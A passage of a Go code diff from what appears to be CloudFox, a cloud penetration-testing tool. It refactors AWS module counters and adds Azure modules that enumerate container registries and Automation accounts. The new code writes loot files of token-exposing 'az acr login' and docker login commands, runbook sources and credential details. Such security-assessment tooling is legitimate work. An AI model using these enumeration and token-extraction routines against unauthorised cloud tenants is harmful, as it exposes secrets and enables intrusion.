subjects = append(subjects, statement.Condition.ForAllValuesStringLike.TokenActionsGithubusercontentComSub...)
} else {
subjects = append(subjects, "ALL REPOS!!!")
}
@@ -588,14 +590,14 @@ func (m *RoleTrustsModule) getAllRoleTrusts() {
ListRoles, err := sdk.CachedIamListRoles(m.IAMClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
for _, role := range ListRoles {
trustsdoc, err := policy.ParseRoleTrustPolicyDocument(role)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
+5 -5
View File
@@ -146,7 +146,7 @@ func (m *Route53Module) writeLoot(outputDirectory string, verbosity int) {
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
panic(err.Error())
}
route53ARecordsPublicZonesFileName := filepath.Join(path, "route53-A-records-public-Zones.txt")
@@ -168,7 +168,7 @@ func (m *Route53Module) writeLoot(outputDirectory string, verbosity int) {
err = os.WriteFile(route53ARecordsPublicZonesFileName, []byte(route53APublicRecords), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
panic(err.Error())
}
@@ -186,7 +186,7 @@ func (m *Route53Module) writeLoot(outputDirectory string, verbosity int) {
err = os.WriteFile(route53ARecordsPrivateZonesFileName, []byte(route53APrivateRecords), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
panic(err.Error())
}
@@ -212,7 +212,7 @@ func (m *Route53Module) getRoute53Records() {
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -228,7 +228,7 @@ func (m *Route53Module) getRoute53Records() {
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
for _, record := range Records {
+19 -19
View File
@@ -82,7 +82,7 @@ func (m *SecretsModule) PrintSecrets(outputDirectory string, verbosity int) {
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -200,21 +200,21 @@ func (m *SecretsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
}
res, err := servicemap.IsServiceInRegion("secretsmanager", r)
res, err := servicemap.IsServiceInRegion("secrets-manager", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getSecretsManagerSecretsPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("ssm", r)
res, err = servicemap.IsServiceInRegion("systems-manager", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getSSMParametersPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -226,7 +226,7 @@ func (m *SecretsModule) writeLoot(outputDirectory string, verbosity int) {
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
pullFile := filepath.Join(path, "pull-secrets-commands.txt")
@@ -249,7 +249,7 @@ func (m *SecretsModule) writeLoot(outputDirectory string, verbosity int) {
err = os.WriteFile(pullFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
if verbosity > 2 {
@@ -266,8 +266,8 @@ func (m *SecretsModule) writeLoot(outputDirectory string, verbosity int) {
func (m *SecretsModule) getSecretsManagerSecretsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Secret) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -275,9 +275,9 @@ func (m *SecretsModule) getSecretsManagerSecretsPerRegion(r string, wg *sync.Wai
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
for {
@@ -292,7 +292,7 @@ func (m *SecretsModule) getSecretsManagerSecretsPerRegion(r string, wg *sync.Wai
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -324,8 +324,8 @@ func (m *SecretsModule) getSecretsManagerSecretsPerRegion(r string, wg *sync.Wai
func (m *SecretsModule) getSSMParametersPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Secret) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -333,9 +333,9 @@ func (m *SecretsModule) getSSMParametersPerRegion(r string, wg *sync.WaitGroup,
defer func() {
<-semaphore
}()
// m.CommandCounter.Total++
m.CommandCounter.Pending--
m.CommandCounter.Executing++
// m.CommandCounter.IncrTotal()
m.CommandCounter.DecrPending()
m.CommandCounter.IncrExecuting()
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
@@ -351,7 +351,7 @@ func (m *SecretsModule) getSSMParametersPerRegion(r string, wg *sync.WaitGroup,
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
+1 -7
View File
@@ -19,7 +19,7 @@ var yellow = color.New(color.FgRed).SprintFunc()
var blue = color.New(color.FgBlue).SprintFunc()
var magenta = color.New(color.FgMagenta).SprintFunc()
var green = color.New(color.FgGreen).SprintFunc()
var AWSRegions = []string{"us-east-1", "us-east-2", "us-west-1", "us-west-2", "af-south-1", "ap-east-1", "ap-south-1", "ap-northeast-3", "ap-northeast-2", "ap-southeast-1", "ap-southeast-2", "ap-northeast-1", "ca-central-1", "eu-central-1", "eu-west-1", "eu-west-2", "eu-south-1", "eu-west-3", "eu-north-1", "me-south-1", "sa-east-1"}
var AWSRegions = []string{"us-east-1", "us-east-2", "us-west-1", "us-west-2", "af-south-1", "ap-east-1", "ap-south-1", "ap-northeast-3", "ap-northeast-2", "ap-southeast-1", "ap-southeast-2", "ap-northeast-1", "ca-central-1", "eu-central-1", "eu-west-1", "eu-west-2", "eu-south-1", "eu-west-3", "eu-north-1", "sa-east-1"}
var sharedLogger = internal.TxtLogger()
func GetIamSimResult(SkipAdminCheck bool, roleArnPtr *string, iamSimulatorMod IamSimulatorModule, localAdminMap map[string]bool) (string, string) {
@@ -54,12 +54,6 @@ func GetIamSimResult(SkipAdminCheck bool, roleArnPtr *string, iamSimulatorMod Ia
}
}
if isRoleAdminBool {
adminRole = "YES"
} else {
adminRole = "No"
}
} else {
adminRole = "Skipped"
canRolePrivEsc = "Skipped"
+6 -6
View File
@@ -96,7 +96,7 @@ func (m *SNSModule) PrintSNS(outputDirectory string, verbosity int) {
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -205,7 +205,7 @@ func (m *SNSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getSNSTopicsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -288,8 +288,8 @@ func (m *SNSModule) writeLoot(outputDirectory string, verbosity int, profile str
func (m *SNSModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -308,7 +308,7 @@ func (m *SNSModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphor
topic, err := m.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
@@ -427,7 +427,7 @@ func (m *SNSModule) storeAccessPolicy(topic *SNSTopic) {
if err := m.storeFile(f, topic.PolicyJSON); err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
}
+7 -7
View File
@@ -99,7 +99,7 @@ func (m *SQSModule) PrintSQS(outputDirectory string, verbosity int) {
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -207,7 +207,7 @@ func (m *SQSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getSQSRecordsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -287,8 +287,8 @@ func (m *SQSModule) writeLoot(outputDirectory string, verbosity int, profile str
func (m *SQSModule) getSQSRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -301,7 +301,7 @@ func (m *SQSModule) getSQSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -309,7 +309,7 @@ func (m *SQSModule) getSQSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
queue, err := m.getQueueWithAttributes(url, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
@@ -437,7 +437,7 @@ func (m *SQSModule) storeAccessPolicy(queue *Queue) {
if err := m.storeFile(f, queue.PolicyJSON); err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
}
+6 -6
View File
@@ -88,7 +88,7 @@ func (m *TagsModule) PrintTags(outputDirectory string, verbosity int) {
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -246,7 +246,7 @@ func (m *TagsModule) countUniqueResourcesWithTags() int {
func (m *TagsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Tag) {
defer wg.Done()
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
m.getTagsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -266,8 +266,8 @@ func (m *TagsModule) Receiver(receiver chan Tag, receiverDone chan bool) {
func (m *TagsModule) getTagsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Tag) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -280,7 +280,7 @@ func (m *TagsModule) getTagsPerRegion(r string, wg *sync.WaitGroup, semaphore ch
resources, err := m.getResources(r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
}
//var parsedArn types.Arn
for _, resource := range resources {
@@ -337,7 +337,7 @@ func (m *TagsModule) getResources(r string) ([]types.ResourceTagMapping, error)
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return resources, err
}
+15 -15
View File
@@ -109,7 +109,7 @@ func (m *WorkloadsModule) PrintWorkloads(outputDirectory string, verbosity int)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
m.CommandCounter.IncrPending()
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
@@ -281,14 +281,14 @@ func (m *WorkloadsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
res, _ := servicemap.IsServiceInRegion("ec2", r)
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getEC2WorkloadsPerRegion(r, wg, semaphore, dataReceiver)
}
res, _ = servicemap.IsServiceInRegion("ecs", r)
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getECSWorkloadsPerRegion(r, wg, semaphore, dataReceiver)
}
@@ -298,13 +298,13 @@ func (m *WorkloadsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getLambdaWorkloadsPerRegion(r, wg, semaphore, dataReceiver)
}
// AppRunner is not supported in the aws service region catalog so we have to run it in all regions
m.CommandCounter.Total++
m.CommandCounter.IncrTotal()
wg.Add(1)
go m.getAppRunnerWorkloadsPerRegion(r, wg, semaphore, dataReceiver)
@@ -312,8 +312,8 @@ func (m *WorkloadsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore
func (m *WorkloadsModule) getEC2WorkloadsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Workload) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -369,8 +369,8 @@ func (m *WorkloadsModule) getEC2WorkloadsPerRegion(r string, wg *sync.WaitGroup,
func (m *WorkloadsModule) getECSWorkloadsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Workload) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -395,7 +395,7 @@ func (m *WorkloadsModule) getECSWorkloadsPerRegion(r string, wg *sync.WaitGroup,
Tasks, err := sdk.CachedECSDescribeTasks(m.ECSClient, aws.ToString(m.Caller.Account), r, cluster, taskARNs)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
return
}
@@ -424,8 +424,8 @@ func (m *WorkloadsModule) getECSWorkloadsPerRegion(r string, wg *sync.WaitGroup,
func (m *WorkloadsModule) getLambdaWorkloadsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Workload) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -457,8 +457,8 @@ func (m *WorkloadsModule) getLambdaWorkloadsPerRegion(r string, wg *sync.WaitGro
func (m *WorkloadsModule) getAppRunnerWorkloadsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Workload) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
m.CommandCounter.DecrExecuting()
m.CommandCounter.IncrComplete()
wg.Done()
}()
@@ -543,7 +543,7 @@ func (m *WorkloadsModule) getRolesFromInstanceProfiles() {
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
m.CommandCounter.IncrError()
break
}
for _, instanceProfile := range ListInstanceProfiles.InstanceProfiles {
+167
View File
@@ -0,0 +1,167 @@
package azure
import (
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
containerregistry "github.com/Azure/azure-sdk-for-go/services/preview/containerregistry/mgmt/2022-02-01-preview/containerregistry"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
)
const acrDockerTokenUsername = "00000000-0000-0000-0000-000000000000"
var getContainerRegistries = getContainerRegistriesOriginal
func AzACRCommand(AzTenantID, AzSubscription, AzOutputDirectory, Version string, AzVerbosity int, AzWrapTable bool, AzMergedTable bool) error {
if AzTenantID != "" && AzSubscription == "" {
tenantInfo := populateTenant(AzTenantID)
if ptr.ToString(tenantInfo.ID) == "" {
return fmt.Errorf("could not find Azure tenant %q", AzTenantID)
}
if !AzMergedTable {
for _, subscription := range GetSubscriptionsPerTenantID(ptr.ToString(tenantInfo.ID)) {
if err := runACRCommandForSingleSubscription(ptr.ToString(subscription.SubscriptionID), AzOutputDirectory, AzVerbosity, AzWrapTable, Version); err != nil {
return err
}
}
return nil
}
azureLogger.InfoM(fmt.Sprintf("Enumerating container registries for tenant %s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)), globals.AZ_ACR_MODULE_NAME)
var body [][]string
var loot strings.Builder
for _, subscription := range GetSubscriptionsPerTenantID(ptr.ToString(tenantInfo.ID)) {
rows, commands, err := getACRData(subscription)
if err != nil {
return err
}
body = append(body, rows...)
loot.WriteString(commands)
}
writeACROutput(AzOutputDirectory, ptr.ToString(tenantInfo.DefaultDomain), "1-tenant-level", ptr.ToString(tenantInfo.DefaultDomain), body, loot.String(), AzVerbosity, AzWrapTable)
return nil
}
if AzTenantID == "" && AzSubscription != "" {
return runACRCommandForSingleSubscription(AzSubscription, AzOutputDirectory, AzVerbosity, AzWrapTable, Version)
}
return fmt.Errorf("please specify either --tenant or --subscription")
}
func runACRCommandForSingleSubscription(AzSubscription, AzOutputDirectory string, AzVerbosity int, AzWrapTable bool, Version string) error {
subscriptionInfo := PopulateSubsriptionType(AzSubscription)
if subscriptionInfo.ID == "" {
return fmt.Errorf("could not find Azure subscription %q", AzSubscription)
}
tenantID := ptr.ToString(GetTenantIDPerSubscription(subscriptionInfo.ID))
tenantInfo := populateTenant(tenantID)
azureLogger.InfoM(fmt.Sprintf("Enumerating container registries for subscription %s (%s)", subscriptionInfo.Name, subscriptionInfo.ID), globals.AZ_ACR_MODULE_NAME)
var selectedSubscription subscriptions.Subscription
for _, subscription := range GetSubscriptions() {
if ptr.ToString(subscription.SubscriptionID) == subscriptionInfo.ID {
selectedSubscription = subscription
break
}
}
rows, loot, err := getACRData(selectedSubscription)
if err != nil {
return err
}
writeACROutput(AzOutputDirectory, ptr.ToString(tenantInfo.DefaultDomain), subscriptionInfo.Name, subscriptionInfo.Name, rows, loot, AzVerbosity, AzWrapTable)
return nil
}
func getACRData(subscription subscriptions.Subscription) ([][]string, string, error) {
subscriptionID := ptr.ToString(subscription.SubscriptionID)
registries, err := getContainerRegistries(subscriptionID)
if err != nil {
return nil, "", fmt.Errorf("could not enumerate container registries for subscription %s: %w", subscriptionID, err)
}
return getACRRelevantData(subscription, registries)
}
func getACRRelevantData(subscription subscriptions.Subscription, registries []containerregistry.Registry) ([][]string, string, error) {
var body [][]string
var loot strings.Builder
subscriptionID := ptr.ToString(subscription.SubscriptionID)
subscriptionName := ptr.ToString(subscription.DisplayName)
for _, registry := range registries {
name := ptr.ToString(registry.Name)
loginServer := ""
anonymousPulls := false
if registry.RegistryProperties != nil {
loginServer = ptr.ToString(registry.LoginServer)
anonymousPulls = ptr.ToBool(registry.AnonymousPullEnabled)
}
body = append(body, []string{name, subscriptionName, subscriptionID, loginServer, fmt.Sprintf("%t", anonymousPulls)})
loot.WriteString(acrLootCommands(name, subscriptionID, loginServer))
}
sort.Slice(body, func(i, j int) bool {
if body[i][1] == body[j][1] {
return body[i][0] < body[j][0]
}
return body[i][1] < body[j][1]
})
return body, loot.String(), nil
}
func acrLootCommands(registryName, subscriptionID, loginServer string) string {
if registryName == "" || subscriptionID == "" || loginServer == "" {
return ""
}
return fmt.Sprintf("# %s (%s)\nACR_TOKEN=$(az acr login -n %s --subscription %s --expose-token --output tsv --query accessToken)\nprintf '%%s' \"$ACR_TOKEN\" | docker login %s --username %s --password-stdin\n\n",
registryName, loginServer, registryName, subscriptionID, loginServer, acrDockerTokenUsername)
}
func writeACROutput(outputDirectory, tenantDomain, directorySuffix, prefix string, body [][]string, loot string, verbosity int, wrap bool) {
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: globals.AZ_ACR_MODULE_NAME,
PrefixIdentifier: prefix,
Table: internal.TableClient{
Wrap: wrap,
DirectoryName: filepath.Join(outputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, tenantDomain, directorySuffix),
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: []string{"Registry Name", "Subscription Name", "Subscription ID", "Login Server", "Anonymous Pulls"},
Body: body,
Name: globals.AZ_ACR_MODULE_NAME,
})
if loot != "" {
o.Loot.DirectoryName = filepath.Join(outputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, tenantDomain, directorySuffix, "loot")
o.Loot.LootFiles = append(o.Loot.LootFiles, internal.LootFile{Contents: loot, Name: "acr-login-commands"})
o.WriteFullOutput(o.Table.TableFiles, o.Loot.LootFiles)
} else {
o.WriteFullOutput(o.Table.TableFiles, nil)
}
fmt.Println()
}
func getContainerRegistriesOriginal(subscriptionID string) ([]containerregistry.Registry, error) {
client := internal.GetContainerRegistriesClient(subscriptionID)
page, err := client.List(context.TODO())
if err != nil {
return nil, err
}
var registries []containerregistry.Registry
for page.NotDone() {
registries = append(registries, page.Values()...)
if err := page.NextWithContext(context.TODO()); err != nil {
return nil, err
}
}
return registries, nil
}
+42
View File
@@ -0,0 +1,42 @@
package azure
import (
"strings"
"testing"
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
containerregistry "github.com/Azure/azure-sdk-for-go/services/preview/containerregistry/mgmt/2022-02-01-preview/containerregistry"
"github.com/aws/smithy-go/ptr"
)
func TestGetACRRelevantData(t *testing.T) {
registries := []containerregistry.Registry{
{
Name: ptr.String("packnet"),
RegistryProperties: &containerregistry.RegistryProperties{
LoginServer: ptr.String("packnet.azurecr.io"),
AnonymousPullEnabled: ptr.Bool(true),
},
},
}
subscription := subscriptions.Subscription{
SubscriptionID: ptr.String("8bb4e6f5-be51-4eab-bd68-ecf6fd08338f"),
DisplayName: ptr.String("Production"),
}
body, loot, err := getACRRelevantData(subscription, registries)
if err != nil {
t.Fatalf("getACRRelevantData returned an error: %v", err)
}
if len(body) != 1 || body[0][0] != "packnet" || body[0][3] != "packnet.azurecr.io" || body[0][4] != "true" {
t.Fatalf("unexpected ACR table body: %+v", body)
}
for _, expected := range []string{
"az acr login -n packnet --subscription 8bb4e6f5-be51-4eab-bd68-ecf6fd08338f --expose-token",
"docker login packnet.azurecr.io --username " + acrDockerTokenUsername + " --password-stdin",
} {
if !strings.Contains(loot, expected) {
t.Errorf("loot does not contain %q:\n%s", expected, loot)
}
}
}
+243
View File
@@ -0,0 +1,243 @@
package azure
import (
"context"
"encoding/json"
"fmt"
"path/filepath"
"sort"
"strings"
"github.com/Azure/azure-sdk-for-go/profiles/latest/automation/mgmt/automation"
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
)
var (
getAutomationAccounts = getAutomationAccountsOriginal
getAutomationAssets = getAutomationAssetsOriginal
)
type automationAssets struct {
Runbooks []automation.Runbook `json:"runbooks"`
RunbookSources map[string]string `json:"-"`
Credentials []automation.Credential `json:"credentials"`
Webhooks []automation.Webhook `json:"webhooks"`
}
type automationLoot struct {
Runbooks string
Credentials string
Webhooks string
}
func AzAutomationCommand(tenantID, subscription, outputDirectory, version string, verbosity int, wrap, merged bool) error {
if tenantID != "" && subscription == "" {
tenant := populateTenant(tenantID)
if ptr.ToString(tenant.ID) == "" {
return fmt.Errorf("could not find Azure tenant %q", tenantID)
}
azureLogger.InfoM(fmt.Sprintf("Enumerating Automation Accounts for tenant %s (%s)", ptr.ToString(tenant.DefaultDomain), ptr.ToString(tenant.ID)), globals.AZ_AUTOMATION_MODULE_NAME)
subs := GetSubscriptionsPerTenantID(ptr.ToString(tenant.ID))
if !merged {
for _, sub := range subs {
if err := runAutomationForSubscription(sub, outputDirectory, verbosity, wrap); err != nil {
return err
}
}
return nil
}
var rows [][]string
var loot automationLoot
for _, sub := range subs {
subRows, subLoot, warnings, err := getAutomationData(sub)
if err != nil {
return err
}
rows = append(rows, subRows...)
loot.Runbooks += subLoot.Runbooks
loot.Credentials += subLoot.Credentials
loot.Webhooks += subLoot.Webhooks
for _, warning := range warnings {
azureLogger.WarnM(warning.Error(), globals.AZ_AUTOMATION_MODULE_NAME)
}
}
if len(subs) > 0 {
writeAutomationOutput(outputDirectory, ptr.ToString(tenant.DefaultDomain), "1-tenant-level", ptr.ToString(tenant.DefaultDomain), rows, loot, verbosity, wrap)
}
return nil
}
if tenantID == "" && subscription != "" {
id := ptr.ToString(GetSubscriptionID(subscription))
for _, sub := range GetSubscriptions() {
if ptr.ToString(sub.SubscriptionID) == id {
return runAutomationForSubscription(sub, outputDirectory, verbosity, wrap)
}
}
return fmt.Errorf("could not find Azure subscription %q", subscription)
}
return fmt.Errorf("please specify either --tenant or --subscription")
}
func runAutomationForSubscription(sub subscriptions.Subscription, outputDirectory string, verbosity int, wrap bool) error {
azureLogger.InfoM(fmt.Sprintf("Enumerating Automation Accounts for subscription %s (%s)", ptr.ToString(sub.DisplayName), ptr.ToString(sub.SubscriptionID)), globals.AZ_AUTOMATION_MODULE_NAME)
rows, loot, warnings, err := getAutomationData(sub)
if err != nil {
return err
}
for _, warning := range warnings {
azureLogger.WarnM(warning.Error(), globals.AZ_AUTOMATION_MODULE_NAME)
}
tenant := populateTenant(ptr.ToString(sub.TenantID))
writeAutomationOutput(outputDirectory, ptr.ToString(tenant.DefaultDomain), ptr.ToString(sub.DisplayName), ptr.ToString(sub.DisplayName), rows, loot, verbosity, wrap)
return nil
}
func getAutomationData(subscription subscriptions.Subscription) ([][]string, automationLoot, []error, error) {
subscriptionID := ptr.ToString(subscription.SubscriptionID)
accounts, err := getAutomationAccounts(subscriptionID)
if err != nil {
return nil, automationLoot{}, nil, fmt.Errorf("could not enumerate Automation Accounts for subscription %s: %w", subscriptionID, err)
}
var rows [][]string
var loot automationLoot
var warnings []error
for _, account := range accounts {
name := ptr.ToString(account.Name)
rg := resourceGroupFromID(ptr.ToString(account.ID))
assets, err := getAutomationAssets(subscriptionID, rg, name)
if err != nil {
warnings = append(warnings, fmt.Errorf("could not enumerate assets for Automation Account %s: %w", name, err))
continue
}
rows = append(rows, []string{name, ptr.ToString(subscription.DisplayName), subscriptionID, rg, fmt.Sprintf("%d", len(assets.Runbooks)), fmt.Sprintf("%d", len(assets.Credentials)), fmt.Sprintf("%d", len(assets.Webhooks))})
if len(assets.Runbooks)+len(assets.Credentials)+len(assets.Webhooks) > 0 {
accountLoot := formatAutomationLoot(subscriptionID, name, rg, assets)
loot.Runbooks += accountLoot.Runbooks
loot.Credentials += accountLoot.Credentials
loot.Webhooks += accountLoot.Webhooks
}
}
sort.Slice(rows, func(i, j int) bool { return rows[i][0] < rows[j][0] })
return rows, loot, warnings, nil
}
func formatAutomationLoot(subscriptionID, accountName, resourceGroup string, assets automationAssets) automationLoot {
var loot automationLoot
var runbooks, credentials, webhooks strings.Builder
for _, runbook := range assets.Runbooks {
name := ptr.ToString(runbook.Name)
fmt.Fprintf(&runbooks, "===============================================================\nAutomation Account: %s\nResource Group: %s\nRunbook: %s\n\n%s\n\n", accountName, resourceGroup, name, assets.RunbookSources[name])
}
for _, credential := range assets.Credentials {
name := ptr.ToString(credential.Name)
value, _ := json.MarshalIndent(map[string]any{"name": name, "properties": credential.CredentialProperties}, "", " ")
fmt.Fprintf(&credentials, "az automation credential show --automation-account-name %q --resource-group %q --name %q --subscription %q\n%s\n\n", accountName, resourceGroup, name, subscriptionID, value)
}
for _, webhook := range assets.Webhooks {
name := ptr.ToString(webhook.Name)
value, _ := json.MarshalIndent(map[string]any{"name": name, "properties": webhook.WebhookProperties}, "", " ")
fmt.Fprintf(&webhooks, "az automation webhook show --automation-account-name %q --resource-group %q --name %q --subscription %q\n%s\n\n", accountName, resourceGroup, name, subscriptionID, value)
}
loot.Runbooks = runbooks.String()
loot.Credentials = credentials.String()
loot.Webhooks = webhooks.String()
return loot
}
func writeAutomationOutput(outputDirectory, tenantDomain, directorySuffix, prefix string, rows [][]string, loot automationLoot, verbosity int, wrap bool) {
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: globals.AZ_AUTOMATION_MODULE_NAME,
PrefixIdentifier: prefix,
Table: internal.TableClient{
Wrap: wrap,
DirectoryName: filepath.Join(outputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, tenantDomain, directorySuffix),
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: []string{"Automation Account", "Subscription Name", "Subscription ID", "Resource Group", "Runbooks", "Credentials", "Webhooks"},
Body: rows,
Name: globals.AZ_AUTOMATION_MODULE_NAME,
})
o.Loot.DirectoryName = filepath.Join(o.Table.DirectoryName, "loot")
if loot.Runbooks != "" {
o.Loot.LootFiles = append(o.Loot.LootFiles, internal.LootFile{Name: "automation-runbooks", Contents: loot.Runbooks})
}
if loot.Credentials != "" {
o.Loot.LootFiles = append(o.Loot.LootFiles, internal.LootFile{Name: "automation-credentials", Contents: loot.Credentials})
}
if loot.Webhooks != "" {
o.Loot.LootFiles = append(o.Loot.LootFiles, internal.LootFile{Name: "automation-webhooks", Contents: loot.Webhooks})
}
if len(o.Loot.LootFiles) > 0 {
